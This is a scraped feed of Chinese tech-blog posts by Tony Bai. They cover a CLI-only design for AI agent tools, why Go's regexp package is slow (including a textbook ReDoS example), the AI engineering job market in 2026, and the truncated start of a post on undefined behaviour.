没写对，或者是大模型还不够聪明。\n直到前些日子，一位名叫 MorroHsu 的顶级实战派大佬（在被 Meta 收购前，他是现象级 AI 产品 Manus 的后端技术负责人）在 Reddit 上抛出了一篇长文。\n在过去两年里，他以后端负责人的身份参与构建了包括 Manus、agent-clip 等在内的多个顶尖 Agent。在被大模型的各种奇葩幻觉折磨了无数遍之后，他得出了一个极其震撼、甚至有些反直觉的血泪结论：\n别再瞎折腾繁琐的 Typed Function Calls（类型化函数调用）了！给大模型一堆乱七八糟的 API，就是它变“智障”的罪魁祸首。大模型最需要的，仅仅是 50 年前的 Linux 命令行（CLI）。\n今天，我们就来看看这位 Manus 前后端大佬的 2 年避坑心法。看看为什么最前沿的 AI，反而需要最古老的 Unix 哲学来拯救。\n为什么给 AI 几百个工具，它反而成了“智障”？ 目前主流的 Agent 框架（如 LangChain），都在教我们怎么给大模型塞满工具箱。你塞的工具越多，系统看起来越庞大。\n但 MorroHsu 指出了这背后的致命逻辑错误：工具选择的认知过载（Cognitive Load）。\n大模型每次行动前，都要在几十个有着不同数据结构（Schemas）的工具中艰难地做选择题：“我到底该用哪一个？参数填什么？” 上下文的注意力被极大地分散了，准确率直线断崖式下跌。\n大佬的解法粗暴且优雅：废弃所有花里胡哨的工具，只给大模型提供唯一的一个函数：run(command=”…”)。\n为什么？因为大模型天生就是个 Linux 高手！\n大模型的训练语料库里，充斥着 GitHub 上数十亿行的代码、README.md 中的安装指南、以及 Stack Overflow 上的报错日志。这些语料中，密密麻麻全是 CLI 命令行。\n如果你让它去调用你发明的 read_log_file(path) API，它还要去猜测你的参数定义；但如果你让它去找日志里的错误，它会凭着肌肉记忆毫不犹豫地写出：\nrun(command=”cat /var/log/app.log | grep ‘ERROR’ | tail -n 20″)\n你看，CLI 本身就是大模型最熟悉的母语。不要发明新的轮子去教大模型做事，直接把它最熟悉的世界交给它。\n50年前的“管道”魔法，完美解决了 Agent 编排难题 如果只有一个 run 命令，AI 遇到复杂任务怎么办？\n这就引出了 50 年前 Unix 操作系统的伟大设计哲学：一切皆文件。\nUnix 的先驱们设计了大量只做一件事的小工具（cat, grep, sort），然后通过**管道（Pipe |）**将它们串联成无比强大的工作流。\n而这，完美契合了大模型的核心本质——大模型只能理解文本输入和文本输出！\n在传统的 Function Calling 中，为了完成“下载数据 -\u0026gt; 过滤错误 -\u0026gt; 排序前 10 条”这个任务，你的 Agent 可能需要连续调用 3 个不同的自定义函数，经历 3 轮耗时极长的 LLM 推理，中间稍微错一步就满盘皆输。\n但在 CLI 模式下，AI 只需要通过一次组合调用就能秒杀：\nrun(command=”curl -sL $URL | grep ’500′ | sort | head 10″)\n这种强大的“组合编排能力（Composition）”，不是什么 AI 领域的最新黑科技，而是 Unix 管道原生自带的降维打击。\n把大模型当人看，设计“防智障”导航系统 当然，光把命令行扔给大模型，它依然会因为瞎猜而犯错。MorroHsu 总结了三个极其硬核的实战设计技巧，教你如何打造一个“防智障”的 Agent 导航系统：\n绝招 1：渐进式发现（Progressive Discovery）\n不要一开始就把所有命令的长篇大论全塞给大模型，那会瞬间撑爆它的上下文窗口。\n只要告诉大模型：“你可以运行 run(“command”)。遇到不懂的，运行 command –help”。\n大模型其实非常懂得自我探索。当它发现报错时，它会自动去查阅说明书。这种“按需发现”的能力，极大地节省了宝贵的 Token。\n绝招 2：把报错变成“向导”\n这是最具启发性的一点！当大模型敲错命令时，千万别只返回一个冷冰冰的 exit code 127 或者 command not found。大模型无法像人类那样去 Google 搜索错误原因，它只会陷入瞎猜的死循环。\n你必须在 stderr（标准错误输出）里加上向导信息。\n传统报错：cat: photo.png: binary file\n给 AI 的防智障报错：[Error] cat: photo.png is a binary image. Use ‘see photo.png’ instead.\n不要试图阻止大模型犯错，而是要让它的每一次犯错，都成为指向正确道路的路标。\n绝招 3：双层架构（物理隔离幻觉）\n大模型的上下文是极其脆弱的。MorroHsu 分享了一个惨痛的真实案例：\n一个用户上传了一张系统架构图，Agent 试图用 cat 命令读取它。结果 182KB 的乱码二进制字节流瞬间冲入了大模型的上下文。大模型当场“失了智”，开始不停地胡言乱语、重试、陷入死循环……足足浪费了 20 次推理的钱。\n为了解决这个问题，必须在底层 Unix 执行和大模型展示层之间，建立一道**“二进制守卫（Binary Guard）”和“截断溢出守卫（Overflow Mode）”**。\n当探测到命令输出超过 200 行，或者包含二进制乱码时，系统绝不把原数据返回给大模型，而是强制拦截并返回提示：\n“— 输出已截断。请使用 grep 或 tail 命令进行搜索。—”\n这就像给大模型戴上了一副防护眼镜，彻底杜绝了上下文被垃圾数据污染、导致智力下降的可能。\n小结：化繁为简，才是架构的最高境界 目前，全网依然在乐此不疲地比拼谁的 Agent 框架更庞大、谁支持的 Tool Call 种类更多。但 原 Manus 大佬的这套“返璞归真”的血泪总结，给我们狠狠敲响了警钟。\n最前沿的 AI，其实最需要最古老的系统智慧。\n将 Unix 哲学的精髓（文本流、组合管道、小而美）与大模型的文本处理能力完美结合，放弃给 AI 制造复杂的隔离层和几十个脆弱的 API 接口，这才是真正属于“顶级工程师”的架构审美。\n正如他在文末所言：“CLI 并非银弹，对于强类型校验和高安全性要求极高的场景，Typed API 依然不可或缺。但在广袤的智能体自主探索宇宙中，命令行，就是大模型所需要的全部。”\n资料链接：https://www.reddit.com/r/LocalLLaMA/comments/1rrisqn/i_was_backend_lead_at_manus_after_building_agents\n今日互动探讨：\n你在写 Agent 时，是喜欢用框架提供的一大堆 Tool Calls，还是像这位大神一样，直接让大模型写代码/写命令去执行？在实战中你的 AI 发生过哪些最搞笑的“智障/幻觉”行为？\n欢迎在评论区分享你的血泪避坑史！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/18/why-ai-agents-act-stupid-manus-expert-pitfall-guide/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-ai-agents-act-stupid-manus-expert-pitfall-guide-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/18/why-ai-agents-act-stupid-manus-expert-pitfall-guide\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/18/why-ai-agents-act-stupid-manus-expert-pitfall-guide\"\u003ehttps://tonybai.com/2026/03/18/why-ai-agents-act-stupid-manus-expert-pitfall-guide\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果你在过去一年里跟风写过 AI Agent（智能体），你大概率经历过这样的绝望时刻：\u003c/p\u003e\n\u003cp\u003e你兴致勃勃地给大模型挂载了二三十个精心编写的 Function Calling（函数调用）工具，比如 read_file, search_web, execute_python……你期待它能像钢铁侠的贾维斯一样运筹帷幄。\u003c/p\u003e","title":"为什么你的 AI Agent 总是像个智障？来自 Manus 大佬的 2 年血泪避坑指南"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/17/why-is-go-regex-so-slow\n大家好，我是Tony Bai。\n如果有人问你：在处理纯 CPU 密集型的文本匹配时，Go 和 Python 哪个快？\n相信 99% 的 Go 开发者会毫不犹豫地把票投给 Go。毕竟，一门编译型的静态语言，怎么可能输给拖着 GIL 锁的解释型脚本语言？\n但现实往往比小说更魔幻。\n最近，在 Reddit 的 r/golang 论坛上，一张残酷的 Benchmark 跑分图引发了整个 Go 社区的剧烈震荡。一位开发者，使用极其常见的日志解析正则表达式（提取 IP、时间、URI 等），对各大语言进行了一次横评。\n结果令人大跌眼镜：同样的数据集，Rust 跑了 3.9 秒，Zig 跑了 1.3 秒，而 Go 居然跑了整整 38.1 秒！整整比第一名 Zig 慢了接近 30 倍！\n如果你再去翻看 Go 官方的 Issue #26623，会看到更绝望的数据：早在2018年的一次正则基准测试中，Go 不仅被 C++ 和 Rust 碾压，甚至连 Python 3、PHP 和 Javascript 都能在正则上把 Go 按在地上摩擦。\n一时间，无数 Gopher 信仰崩塌：“为什么 Go 的标准库 regexp 这么慢？”、“连简单的正则都做不好，Go 凭什么做云原生霸主？”\n今天，我们就来硬核扒开 Go 语言 regexp 包的底层设计和实现。你会发现，这不是 Go 团队的技术拉跨，而是一场关于“性能、安全与工程哲学”的博弈。\n原罪：你以为的慢，其实是替 CGO 负重前行 面对“为什么 Go 的正则比 Python 还慢”的灵魂拷问，Go 核心团队成员 Ian Lance Taylor 给出了第一层解释。\n在 Python、PHP 甚至 Node.js 中，你以为你是在运行脚本，其实它们底层都在悄悄“作弊”。这些语言的正则表达式引擎，几乎全部是用高度优化的 C 语言库（主要是 PCRE，Perl Compatible Regular Expressions）编写的。\n当你在 Python 里调用 re.match() 时，它瞬间就穿透到了 C 语言的底层，享受着现代 CPU 指令集的极致加速。\n那 Go 为什么不用 C？因为 Go 是一门有着“极度洁癖”的语言。\n如果 Go 的标准库引入了 C 语言的 PCRE，就必须通过 CGO 来调用。而 CGO 的上下文切换成本极高，更致命的是，它会彻底破坏 Go 引以为傲的“跨平台交叉编译”能力。你再也不能在一个简单的 go build 后，把二进制文件无痛丢到任何 Alpine 容器里了。\n因此，Go 团队做出了第一个艰难的决定：完全使用纯 Go 语言，从零手写一个正则表达式引擎。\n脱离了 C 语言几十年的底层优化积累，用原生代码去硬刚别人的 C 引擎，这是 Go 看起来“慢”的表层原因。\n但这，仅仅是冰山一角。\n路线之争：为了防止系统“猝死”，Go 抛弃了速度 真正让 Go 正则变得“慢”的，是算法架构上的降维选择。这牵扯到 Go 语言的缔造者之一、大神 Russ Cox (rsc) 的一段往事。\n在正则表达式的底层世界里，存在着两大流派：\n基于回溯（Backtracking）的 NFA 引擎：代表人物是 PCRE（被 Python、Java、PHP 广泛使用）。 基于 Thompson NFA / DFA 的引擎：代表人物是 RE2（被 Go、Rust 采用）。 PCRE 引擎极快，它支持各种花里胡哨的语法（如前瞻断言 Lookaround、反向引用 Backreferences）。它的算法逻辑是“不撞南墙不回头”的深度优先搜索（DFS）。在匹配正常字符串时，它快如闪电。\n但它有一个极其致命的死穴：ReDoS（正则表达式拒绝服务攻击）。\n想象一下你写了一个看似无害的正则：\n^([a-zA-Z0-9]+\\s?)+$ 如果黑客故意传入一个极其恶意的字符串：aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!（注意最后的感叹号）。\nPCRE 引擎会陷入可怕的“灾难性回溯”。它会尝试所有可能的组合，时间复杂度瞬间飙升到 O(2^n) 级。短短几十个字符的输入，能让单核 CPU 满载运行几年都算不出结果！\n2019 年，互联网巨头 Cloudflare 就因为在 WAF 防火墙中写错了一个极其简单的正则表达式，CPU资源瞬间耗尽，导致全球80% 的通过 Cloudflare 代理的网站受到影响，陷入瘫痪长达 27 分钟。这就是 PCRE 回溯引擎的恐怖破坏力。\nRuss Cox 在设计 Go 的 regexp 包时，定下了一条铁律：系统安全与可预测性，绝对高于单次请求的极限性能。\n因此，Go 彻底抛弃了危险的回溯引擎，选择了基于 Thompson NFA 的算法（源自他之前在Google主导设计的 C++ RE2 引擎）。这种算法保证了匹配时间永远是线性复杂度 O(n)。\n无论黑客传入多么恶意的字符串，Go 的正则引擎绝对不会发生灾难性回溯。它牺牲了在美好情况下的极致快感，换取了在极端恶劣环境下的金身不坏。\n这算是 Go 团队最顶级的“克制”吧。\n硬核剖析：Go 的正则，时间到底去哪了？ 既然算法是 O(n) 的，为什么 Go 依然比同样采用 RE2/DFA 思想的 Rust 慢那么多呢？\n如果你去追踪 Go 官方的 Issue #19629和Issue #11646，通过 pprof 分析 Go 正则匹配的 CPU 耗时，你会看到几个令人头疼的瓶颈：\n1. 沉重的 UTF-8 解析税\nRust 和 C 的很多正则引擎，底层是直接在“字节（Byte）”级别游走的。而 Go 为了贯彻它对 Unicode 的原生支持，regexp 包在内部极其频繁地将输入流解码为 Rune（Go 的 Unicode 字符单位）。这种逐个解析 Rune 的操作，带来了巨大的计算开销。\n2. NFA 虚拟线程的内存震荡\n在 Go 的底层源码中，你可以看到耗时最高的两个函数是 (machine).add 和 ( machine).step。\nGo 是通过维护两个“状态队列（稀疏集）”来模拟 NFA 的并行推进的。每读取一个字符，引擎就要把所有可能的状态添加到下一个队列中。这导致了海量的内存重分配（Allocation）和切片拷贝。哪怕是匹配一个简单的长字符串，底层都在疯狂地挪动内存。\n既然这么慢，为什么不把 C++ RE2 里那个极速的 DFA（确定性有限状态自动机）移植到 Go 里呢？\nIssue #11646 记录了这次尝试。开发者 Michael Matloob 曾经试图将 RE2 的 DFA 移植过来，但被 Russ Cox 拦下了。原因很直接：DFA 虽然快，但它在运行时会动态生成大量的状态，如果不加以严格限制，极易引发内存耗尽（OOM）。在 Go 带有 GC 的内存模型下，频繁创建和销毁庞大的 DFA 状态缓存，会让垃圾回收器不堪重负。\n于是，Go 的标准库在“安全、内存、性能”的三角博弈中，选择了妥协于现状。\n社区的探索：SIMD 降维打击与 100倍加速的 coregex 官方的克制固然令人敬佩，但对于身处一线的业务开发者来说，由于正则太慢导致的 CPU 告警，是实实在在的痛点。\n“既然官方不愿意改，那我们就自己造轮子！”\n在近期的 Issue #26623 中，一位名为 kolkov 的开发者带着他的开源库 coregex 杀入了战场，向 Go 标准库发起了直接的挑战。\ncoregex 是一个完全用纯 Go 编写的正则库，它的出现直接将 Go 的正则性能拉到了与 Rust 并驾齐驱，甚至在某些场景下超越 Rust 的境地。\n它是怎么做到的？它在底层祭出了几个大杀器：\nSIMD 预过滤（Prefilters）：它使用了手写的汇编代码（AVX2/SSSE3 指令集），将正则中的静态字符串提取出来，利用 CPU 的向量化指令，一次性对比 32 个字节。像匹配 .*.txt 这种正则，速度直接飙升了 1500倍！ 带缓存的 Lazy DFA：它绕过了标准库每次都重算 NFA 的毛病，在运行时动态构建 DFA 缓存，大幅消除了内存分配。 写时复制（COW）的捕获组：标准库在处理提取子串时会疯狂分配切片。coregex 通过切片状态共享，让内存分配直接减少了 50%。 在 kolkov 提供的 CI 跑分中，在 6MB 的输入下，coregex 处理邮箱、URI 的耗时仅为 1.5 毫秒，而标准库耗时高达 260 毫秒。足足快了 170 倍！\n然而，这段极其硬核的改进，依然很难入Go团队法眼，更不用谈在短期内被合并进 Go 的标准库。\n一方面，Go 官方目前正在推进自己的内建 SIMD 方案（Issue #73787），不想接入手写的汇编代码；另一方面，社区大牛 Ben Hoyt 在使用 coregex 时发现，如果开启 Longest() 模式（最长匹配模式），这个库的性能会发生严重退化。\n这再次印证了标准库开发的残酷：在某几个特定场景下跑到全宇宙第一很容易，但要在一套 API 里无死角地兜底全世界所有的奇葩正则输入，难如登天。\n在 Go 中写正则的正确姿势 大致了解了底层原理，回到日常开发中，我们该如何应对 Go 正则的性能瓶颈？作为高级 Go 开发者，请务必将以下三条军规刻在脑子里：\n第一条：能不用正则，就坚决不用\n如果你只是想检查字符串是否包含子串，或者进行简单的前后缀匹配，永远优先使用 strings.Contains()、strings.HasPrefix() 等内置函数。 它们底层有优化的实现，在这样简单场景下，速度是 regexp 包不可比拟的。\n第二条：将编译前置，远离循环\n如果你翻看新手代码，最常见的低级错误就是在 for 循环或者每次 HTTP 请求里调用 regexp.Compile()。\n正则的编译过程（生成 NFA 字节码）极其消耗 CPU。请永远在全局变量或 init() 函数中使用 regexp.MustCompile()，将其编译好并复用。Go 的 Regexp 对象是并发安全的，随便多 Goroutine 调用。\n第三条：在极端性能要求下，打破“洁癖”\n如果你的核心业务（比如高频日志清洗、海量数据 ETL）确实被 regexp 卡住了脖子，不要硬抗。\n你可以选择引入通过 CGO 调用 PCRE的Go binding库（比如https://github.com/GRbit/go-pcre），但要注意防范 ReDoS 攻击，或google/re2的Go binding(比如https://github.com/wasilibs/go-re2)，又或是在业务侧尝试社区的野路子 coregex。在生存面前，架构的“洁癖”是可以适当妥协的。\n小结 “为什么 Go 的正则这么慢？”\n这并非一个简单的工程失误。它是一道分水岭，隔开了“追求跑分好看的玩具代码”与“守护千万级并发集群的生产级设计”。\nRuss Cox 宁愿忍受整个开源界的群嘲，也没有为了刷榜而去引入危险的回溯引擎。这或许就是 Go 语言能够成为云原生时代头部语言的原因：不盲目追求上限的巅峰，而是死死守住安全下限。\n参考资料 https://www.reddit.com/r/golang/comments/1rr2evh/why_is_gos_regex_so_slow/ https://github.com/golang/go/issues/26623 https://github.com/golang/go/issues/19629 https://github.com/golang/go/issues/11646 https://swtch.com/~rsc/regexp/ 今日互动探讨：\n在你的日常开发中，有没有被由于“写了糟糕的正则表达式”而导致 CPU 飙升 100% 的惨痛经历？你又是如何排查和优化的？\n欢迎在评论区分享你的血泪史\n认知跃迁：读懂底层机制，才能看透系统架构的本质\n从放弃 CGO 选择纯 Go 实现，到防范 ReDoS 采用 NFA，再到社区为了榨干 CPU 性能而引入 SIMD。Go 语言的每一个看似“不合理”的设计背后，都隐藏着深邃的系统级考量。\n然而，令人遗憾的是，很多开发者写了五六年的 Go 代码，遇到性能瓶颈依然只能靠“瞎猜”和“重启”。他们对 Go 的内存逃逸、Goroutine 调度机制以及标准库的底层数据结构一无所知。\n如果你渴望突破“熟练调包侠”的瓶颈，想要像 Russ Cox 这样的顶级大厂架构师一样，看透 Go 语言背后的底层逻辑，建立起自己坚不可摧的技术护城河——\n我的极客时间专栏 《Tony Bai·Go语言进阶课》 正是为你量身定制。\n在这 30+ 讲极其硬核的内容中，我不仅带你剥开语法糖，深挖 Goroutine 调度、Channel 哲学；更会带你全面吃透 Go 的工程化实践，把底层性能调优背后的逻辑一次性讲透。\n目标只有一个：助你完成从“Go 熟练工”到“能做顶级架构决策的 Go 专家”的蜕变！\n扫描下方二维码，加入专栏。不要用战术上的勤奋，掩盖战略上的懒惰。让我们一起用架构师的视角，重新认识 Go 语言。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/17/why-is-go-regex-so-slow/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-is-go-regex-so-slow-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/17/why-is-go-regex-so-slow\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/17/why-is-go-regex-so-slow\"\u003ehttps://tonybai.com/2026/03/17/why-is-go-regex-so-slow\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果有人问你：在处理纯 CPU 密集型的文本匹配时，Go 和 Python 哪个快？\u003c/p\u003e\n\u003cp\u003e相信 99% 的 Go 开发者会毫不犹豫地把票投给 Go。毕竟，一门编译型的静态语言，怎么可能输给拖着 GIL 锁的解释型脚本语言？\u003c/p\u003e","title":"被嘲笑比 Python 还慢？扒开 Go 正则表达式的底层，看看它为了防范“系统猝死”付出了什么"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/17/ai-engineer-survival-2026-post-hype\n大家好，我是Tony Bai。\n在过去几年里，“AI工程师”几乎成为了科技界最耀眼的标签。各大研报和媒体都在不遗余力地描绘一个人才奇缺、薪资突破天际的黄金时代。无数开发者涌入各大在线课程，试图为自己的简历贴上“大模型”、“Agent”、“RAG”等金字招牌。\n然而，当我们把视线从光鲜亮丽的科技新闻转向一线招聘市场和开发者社区时，却看到了截然不同的景象。\n近日，知名技术社区 r/aiengineering 的版主发布了一篇万字长文，以其作为一线招聘者和资深从业者的视角，揭开了当前 AI 工程领域的另一面。这篇文章没有迎合铺天盖地的炒作，而是抛出了几个令人深思的残酷事实：\n所谓“广泛的 AI 人才缺口”可能是一种错觉； 过度依赖 AI 正在削弱开发者的核心竞争力； 而科技行业的“知识折旧率”，正达到前所未有的高度。 当狂热的泡沫开始消退，我们有必要重新审视：在 2026 年，AI 工程师的真实生存环境究竟如何？未来的技术护城河又究竟在哪里？\n被倒置的供需关系：从“拉动型”到“推动型”市场 关于 AI 领域存在巨大人才缺口的论调，在招聘市场的一线数据面前显得苍白无力。\n该社区版主直言不讳地指出：“目前并没有‘广泛的’ AI 工程岗位需求。如果你发布一个真实的 AI 工程师职位，一天之内就会收到 300 到 500 份简历。” 这并非个例，整个科技就业市场目前都呈现出类似的拥挤态势。\n为了更好地理解当前的处境，我们不妨借用经济学中的概念，将其与过去的科技红利期进行对比：\n过去的“拉动型（Pull）”市场：大约 12 年前，当数据工程和自动化 ETL 刚刚兴起时，行业面临着真正的结构性短缺。企业处于“拉动”状态：只要你展现出一定的逻辑能力和对数据的敏感度，哪怕经验不足，公司也愿意花钱、花时间去培养你。技能是可以习得的，潜力才是被争夺的稀缺资源。 现在的“推动型（Push）”市场：如今的 AI 领域则完全相反。企业期望求职者自带极其完备的技术栈（甚至要求精通那些刚发布几个月的框架，甚至是刚发布几周的超热门工具，比如openclaw等），却极少愿意承担培训成本。数以百计的候选人为了一个岗位而拼命“推销”自己，内卷成为常态。 更具讽刺意味的是，当我们跳出科技圈，看看传统的蓝领技术工种（如高级焊接）。在这些领域，雇主依然愿意支付高昂的起薪，甚至在培训期间就支付报酬。这是因为蓝领技能基于稳定的物理定律，一旦掌握便能长期受用；而软件工程的技能，却在框架和工具的不断更迭中迅速贬值。\n技能折旧与“伪效率”的陷阱 在生成式 AI 的加持下，代码生成的门槛被史无前例地降低。几句 Prompt 就能生成一个完整的 SaaS 应用原型，这让许多人产生了一种“掌握了魔法”的错觉。\n但这种错觉背后，隐藏着巨大的技能危机。\n大语言模型（LLM）的本质，是基于海量人类输入数据的概率预测。它擅长寻找“最短路径”，但缺乏基于物理世界常识的真正理解力和创造力。它不是在思考，而是在反刍。\n当开发者习惯了将一切问题抛给 AI，危险便悄然而至。\n丧失第一性原理的思考能力：当你不再亲自设计数据流、不再一行行推敲边界条件，而是依赖 AI 直接输出结果时，你实际上是在放弃对系统底层逻辑的掌控。如果遇到复杂架构中牵一发而动全身的非标问题，或者 AI 生成的代码出现了隐蔽的竞态条件，习惯了“一键生成”的开发者将束手无策。 工具异化为“拐杖”：AI 是极其出色的工具（如强大的代码格式化器、高级字典、语法补全器和代码生成器），但它绝不能替代人类的批判性思维。如果一个开发者连撰写一段清晰的需求说明，或者理解一个基础的报错日志都需要求助于 LLM，那么他正在将自己的核心竞争力“外包”。 正如版主所警示的：“想象力是创造力的前置条件。当你过度依赖外部的‘搜索引擎’（或现在的 LLM），你实际上是在限制自己想象和构建复杂系统的能力。”\n在未来，真正有价值的工程师，绝不是那些只会熟练复制粘贴 Prompt 的人，而是那些能够深刻理解业务痛点、具备严密系统思维，并将 AI 作为提效“手术刀”的架构师。\n软件工程的重塑：回归本质与防御性思考 如果我们承认 AI 只是一种强大的工具，那么在 2026 年乃至于更远的未来，软件工程的发展方向将发生怎样的变化？\n数据治理与所有权的回归 AI 的上限取决于其训练数据的质量。随着企业越来越意识到数据的核心资产价值，“数据保护主义”正在抬头。聪明的企业将不再盲目地将核心业务数据和架构信息投喂给公有云的 LLM，而是转向构建私有化部署、安全可控的小模型或混合架构。这意味着，理解如何在企业安全边界内有效利用 AI（如本地 RAG、数据清洗脱敏），将比单纯的 Prompt 技巧更有市场。\n重拾物理世界的基石 数字世界是脆弱的，极易被复制、攻击甚至完全由机器生成。在未来，能够产生真正不可替代价值的技术创新，将不可避免地与物理世界产生更深度的融合——例如机器人技术、能源革命（核聚变、新型材料开发）以及量子计算等。这些领域无法仅靠敲击键盘和调用 API 来完成，它们需要扎实的工程物理基础和试错成本。\n对技术银弹的祛魅 我们需要接受一个现实：就像过去 20 年的互联网繁荣并没有从根本上解决住房、医疗等生活成本上升的问题一样，AI 也不是解决所有结构性问题的万能药。它提高了软件生产的效率，但这部分效率的红利最终会流向何处（是转化为开发者的工资，还是变成了资本的利润），还有待时间的检验。\n小结 历史的车轮滚滚向前，AI 技术的浪潮不可逆转。但作为身处浪潮之中的工程师，保持清醒的认知比盲目追逐风口更为重要。\n不要被短期的喧嚣蒙蔽了双眼。去培养那些 AI 无法轻易替代的能力：对复杂系统的架构设计能力、对模糊业务需求的洞察力、以及在真实物理世界中解决问题的韧性。\nAI 是我们手中的剑，不要让它斩断了我们自己的思考之路。\n资料链接：https://www.reddit.com/r/aiengineering/comments/1rf7myh/the_actual_state_of_ai_engineering_in_2026/\n你感到“钝”了吗？\n习惯了 AI 这个“认知轮椅”后，你是否也曾有过“离开 AI 不会写代码”的瞬间？在你看来，2026 年最值钱的技能是哪个？是能写出完美的 Prompt，还是能看透 AI 看不透的复杂系统？\n欢迎在评论区分享你的生存感悟！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/17/ai-engineer-survival-2026-post-hype/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ai-engineer-survival-2026-post-hype-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/17/ai-engineer-survival-2026-post-hype\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/17/ai-engineer-survival-2026-post-hype\"\u003ehttps://tonybai.com/2026/03/17/ai-engineer-survival-2026-post-hype\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在过去几年里，“AI工程师”几乎成为了科技界最耀眼的标签。各大研报和媒体都在不遗余力地描绘一个人才奇缺、薪资突破天际的黄金时代。无数开发者涌入各大在线课程，试图为自己的简历贴上“大模型”、“Agent”、“RAG”等金字招牌。\u003c/p\u003e","title":"泡沫消退后的冷思考：2026年，AI 工程师的真实生存图景"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/16/go-language-eliminated-undefined-behavior-truth-investigation\n大家好，我是Tony Bai。\n在系统编程的古老传说中，流传着一个关于“鼻恶魔”（Nasal Demons）的笑话。\n这个梗源自 comp.std.c 新闻组，它是对 C/C++ 语言中“未定义行为”（Undefined Behavior，以下简称 UB）最生动也最恐怖的诠释。根据 ISO C++ 标准，如果你的代码触犯了 